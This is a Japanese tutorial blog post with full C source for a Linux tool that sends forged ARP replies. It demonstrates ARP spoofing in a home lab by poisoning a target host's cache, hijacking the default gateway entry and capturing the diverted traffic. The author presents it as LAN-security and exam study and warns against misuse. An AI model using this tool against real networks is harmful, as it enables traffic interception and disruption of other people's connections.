第5回でおこなったデータリンク層の読み出しに続き、今回は書き出し(送信)を行います。送信は非常に簡単なのですが、今回の内容は悪用するとLANで被害が出ますので注意してください。
なお、本記事ではコードを追うことを容易にするためできるだけ関数化を避けています。またエラー処理も極力省いていますので、ご自身でコーディングされる場合は適宜エラー処理を追加したり関数化したりしてください。
また、イーサネットやARPのヘッダーに関する解説は第5回でおこなっているので、本記事では特に解説はしません。
参考:【第5回】Linuxでデータリンク層の通信を解析するツールをC言語で作成する
BSDを利用されている方は以下の記事を合わせてご覧ください。
参考:【第7回】BSDでデータリンク層にフレームを送信するツールをC言語で作成する
データリンク層でフレームを送信するサンプルプログラム
最初にサンプルプログラム掲載します。細かい解説はその後におこなっています。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>
#include <netinet/ether.h>
#include <netinet/if_ether.h>
#include <sys/socket.h>
#include <arpa/inet.h>
struct sendhdr {
struct ether_header ether;
struct arphdr arp;
unsigned char srcmac[ETH_ALEN];
unsigned char srcip[4];
unsigned char targetmac[ETH_ALEN];
unsigned char targetip[4];
};
int
main(int argc, char *argv[]) {
unsigned char buf[BUFSIZ];
int sd;
char *ifname, *srcmac, *dstmac, *srcip, *targetmac, *targetip;
struct sendhdr *s = (struct sendhdr *)buf;
struct sockaddr to;
if (argc != 6) {
printf("Usage %s <interface> <src mac> <dst mac> <src ip> <target ip>\n", argv[0]);
exit(1);
}
ifname = argv[1];
if (if_nametoindex(argv[1]) == 0) {
printf("invalid interface %s\n", ifname);
exit(1);
}
srcmac = argv[2];
dstmac = argv[3];
srcip = argv[4];
targetip = argv[5];
printf("interface: %s\n", ifname);
printf("ether src mac: %s\n", srcmac);
printf("ether dst mac: %s\n", dstmac);
printf("arp src mac: %s\n", srcmac);
printf("arp src ip: %s\n",srcip);
printf("arp target mac: %s\n", dstmac);
printf("arp target ip: %s\n", targetip);
if ((sd = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {
perror("socket");
exit(1);
}
/* Ether Header */
memcpy(&s->ether.ether_shost, ether_aton(srcmac), ETH_ALEN);
memcpy(&s->ether.ether_dhost, ether_aton(dstmac), ETH_ALEN);
s->ether.ether_type = htons(ETHERTYPE_ARP );
/* ARP Header */
s->arp.ar_hrd = htons(ARPHRD_ETHER);
s->arp.ar_pro = htons(ETHERTYPE_IP);
s->arp.ar_hln = ETH_ALEN;
s->arp.ar_pln = 4;
s->arp.ar_op = htons(ARPOP_REPLY);
/* ARPリプライのMACアドレスとIPアドレス */
memcpy(&s->srcmac, ether_aton(srcmac), ETH_ALEN);
inet_pton(AF_INET, srcip, &s->srcip);
memcpy(&s->targetmac, ether_aton(dstmac), ETH_ALEN);
inet_pton(AF_INET, targetip, &s->targetip);
/* フレーム送信 */
memset(&to, 0, sizeof (to));
to.sa_family = PF_INET;
strncpy(to.sa_data, ifname, sizeof (to.sa_data));
if (sendto(sd, buf, sizeof (struct sendhdr), 0, (struct sockaddr *)&to, sizeof (to)) < 0) {
perror("sendto");
exit(1);
}
close(sd);
return 0;
}今回はARPリプライを送信することにしました。
Linuxでデータリンク層に送信する際は受信のときと同様にsocket(2)を使います。
if ((sd = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {
perror("socket");
exit(1);
}イーサネットヘッダーの設定では送信元MACアドレスと送信先MACアドレスを設定し、ether_typeにはETHERTYPE_ARPを指定します。これでARPリクエスト・リプライを送信できます。
ARPヘッダーはお決まりの設定となります。ARPリプライなのでar_opの値をARPOP_REPLYに設定しています。
/* ARP Header */
s->arp.ar_hrd = htons(ARPHRD_ETHER);
s->arp.ar_pro = htons(ETHERTYPE_IP);
s->arp.ar_hln = ETH_ALEN;
s->arp.ar_pln = 4;
s->arp.ar_op = htons(ARPOP_REPLY);ARPヘッダーに続きARPリプライの応答を設定します。ここで設定するべき値は第5回の記事をご覧ください。
/* ARPリプライのMACアドレスとIPアドレス */
memcpy(&s->srcmac, ether_aton(srcmac), ETH_ALEN);
inet_pton(AF_INET, srcip, &s->srcip);
memcpy(&s->targetmac, ether_aton(dstmac), ETH_ALEN);
inet_pton(AF_INET, targetip, &s->targetip);フレームの送信はsendto(2)を使います。引数でインタフェースを指定している点に注意してください。
/* フレーム送信 */
memset(&to, 0, sizeof (to));
to.sa_family = PF_INET;
strncpy(to.sa_data, ifname, sizeof (to.sa_data));
if (sendto(sd, buf, sizeof (struct sendhdr), 0, (struct sockaddr *)&to, sizeof (to)) < 0) {
perror("sendto");
exit(1);
}コンパイルしてARPリプライを送信してみる
先ほど掲載したCコードを「linux-send-datalink.c」というファイル名で保存しコンパイルしました。コンパイルオプションは不要です。
cc linux-send-datalink.c
今回の記事のメインはここかも知れません。冒頭で書いた通り、今回の内容は悪用するとLANで被害が出ますので注意してください。簡単に言うとARPスプーフィングができるようになります。ARPスプーフィングについては以下の記事で解説しているので、そちらをご覧ください。
今回作成したプログラムで何ができるのかというと、LAN内の別のマシンのARPテーブルを自由に書き換えることができるようになります。あるホストがARPリクエスト・リプライを受信すると、送信元MACアドレスを学習します。
まずは適当に送信してみましょう。インタフェース・送信元MACアドレス・送信先MACアドレス、送信元IPアドレス、ターゲットIPアドレスを引数にします。
$ sudo ./s ens33 1:2:3:4:5:6 1:1:1:1:1:1 1.2.3.4 7.8.9.11
これをtcpdumpで受信すると次のように表示されます。
01:02:03:04:05:06 > 01:01:01:01:01:01, ethertype ARP (0x0806), length 42: Ethernet (len 6), IPv4 (len 4), Reply 1.2.3.4 is-at 01:02:03:04:05:06, length 28
上記のように「1.2.3.4」のIPアドレスは「01:02:03:04:05:06」ですよ、というARPリプライを送信しています。それでは、特定のホストに対してARPリプライを送信するとどうなるでしょうか?試してみましょう。
特定のホストに偽のARPリプライを送信してみる
まず、偽のARPリプライを送りつけるホスト上でARPテーブルを確認してみます。
openbsd# arp -an Host Ethernet Address Netif Expire Flags 192.168.218.2 00:50:56:e4:8e:4c em0 17m32s 192.168.218.130 00:0c:29:94:00:a4 em0 19m3s 192.168.218.133 00:0c:29:44:06:4f em0 permanent l openbsd#
ARPテーブル上に存在していない「192.168.218.123」というIPアドレスのMACアドレスとして「11:22:33:44:55:66」を追加させてみましょう。
ターゲットのIPアドレスは「192.168.218.133」でMACアドレスは「00:0c:29:44:06:4f」です。次のコマンドを実行します。
$ sudo ./a.out ens33 11:22:33:44:55:66 00:0c:29:44:06:4f 192.168.218.123 192.168.218.133 interface: ens33 ether src mac: 11:22:33:44:55:66 ether dst mac: 00:0c:29:44:06:4f arp src mac: 11:22:33:44:55:66 arp src ip: 192.168.218.123 arp target mac: 00:0c:29:44:06:4f arp target ip: 192.168.218.133 $
ターゲットホストでARPテーブルを確認すると「192.168.218.123」のMACアドレスが追加されていることが分かります。
openbsd# arp -an Host Ethernet Address Netif Expire Flags 192.168.218.2 00:50:56:e4:8e:4c em0 19m43s 192.168.218.123 11:22:33:44:55:66 em0 19m57s 192.168.218.130 00:0c:29:94:00:a4 em0 16m12s 192.168.218.133 00:0c:29:44:06:4f em0 permanent l openbsd#
上記はARPテーブルへの追加でした。それでは既存のARPテーブルを書き換えることはできるのでしょうか?試してみましょう。書き換えるのは「192.168.218.2」のMACアドレスです。これを別のマシンのMACアドレスに書き換えます。ちなみに「192.168.218.2」はデフォルトゲートウェイです。
$ sudo ./a.out ens33 00:0c:29:94:00:a4 00:0c:29:44:06:4f 192.168.218.2 192.168.218.133 interface: ens33 ether src mac: 00:0c:29:94:00:a4 ether dst mac: 00:0c:29:44:06:4f arp src mac: 00:0c:29:94:00:a4 arp src ip: 192.168.218.2 arp target mac: 00:0c:29:44:06:4f arp target ip: 192.168.218.133
ターゲットホストでARPテーブルを確認すると「192.168.218.2」のMACアドレスが更新されていることが分かります。
openbsd# arp -an Host Ethernet Address Netif Expire Flags 192.168.218.2 00:0c:29:94:00:a4 em0 19m58s 192.168.218.123 11:22:33:44:55:66 em0 13m37s 192.168.218.130 00:0c:29:94:00:a4 em0 9m52s 192.168.218.133 00:0c:29:44:06:4f em0 permanent l openbsd#
この時点でターゲットホストはインターネットへの接続ができなくなります。なぜかというとLAN内での送信先はIPアドレスではなくてMACアドレスで決まるからです。詳しくはARPスプーフィングの解説記事をご覧ください。
ですから、ターゲットホストがインターネットに接続しようとすると正しい「00:50:56:e4:8e:4c」ではなくて改ざんされた「00:0c:29:94:00:a4」へ送信されます。試してみましょう。
まずターゲットホスト上で1.1.1.1に向けてpingを実行します。本来であればデフォルトゲートウェイを経由して応答があるはずですが、以下のように疎通できません。
openbsd# ping -c1 1.1.1.1 PING 1.1.1.1 (1.1.1.1): 56 data bytes ^C --- 1.1.1.1 ping statistics --- 1 packets transmitted, 0 packets received, 100.0% packet loss openbsd#
この通信をtcpdumpで受信できるか確認します。改ざんしたMACアドレスを持つホストでtcpdumpを実行している点に注目してください。
$ ip a | grep ether
link/ether 00:0c:29:94:00:a4 brd ff:ff:ff:ff:ff:ff
$
$ sudo tcpdump -i ens33 -nn -t -e -vvv icmp
tcpdump: listening on ens33, link-type EN10MB (Ethernet), snapshot length 262144 bytes
00:0c:29:44:06:4f > 00:0c:29:94:00:a4, ethertype IPv4 (0x0800), length 98: (tos 0x0, ttl 255, id 10860, offset 0, flags [none], proto ICMP (1), length 84)
192.168.218.133 > 1.1.1.1: ICMP echo request, id 64256, seq 0, length 64
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel
$このようにデフォルトゲートウェイではなくて改ざんしたMACアドレスを持つホストに送信されています。ここでは何もしていないので通信が途切れますが、適切に通信を転送させると通信は途切れないためARPテーブルを改ざんされたホストでは気付かない可能性があります。
このような攻撃をARPスプーフィング(ARPキャッシュポイズニング)と呼び、非常に危険でダメージの大きい攻撃のひとつです。そのため、改ざんしたARPの送信は自宅など他人に迷惑にならない環境でおこなってください。
まとめ
今回はデータリンク層にフレームを送信する方法を解説しました。フレームの受信・解析と比較すると非常に簡単ですが、フレームの送信ができるようになるとLANセキュリティへの理解が深まりますので、ご自身でいろいろなARPリプライを送信して遊んでみてください。
ARPスプーフィング(ARPキャッシュポイズニング)はIT系の試験にも出るので、今回の記事と以下の記事を合わせて読んで理解するとテストで自信を持って回答できるようになるはずです。
この記事は役に立ちましたか?
もし参考になりましたら、下記のボタンで教えてください。
コメント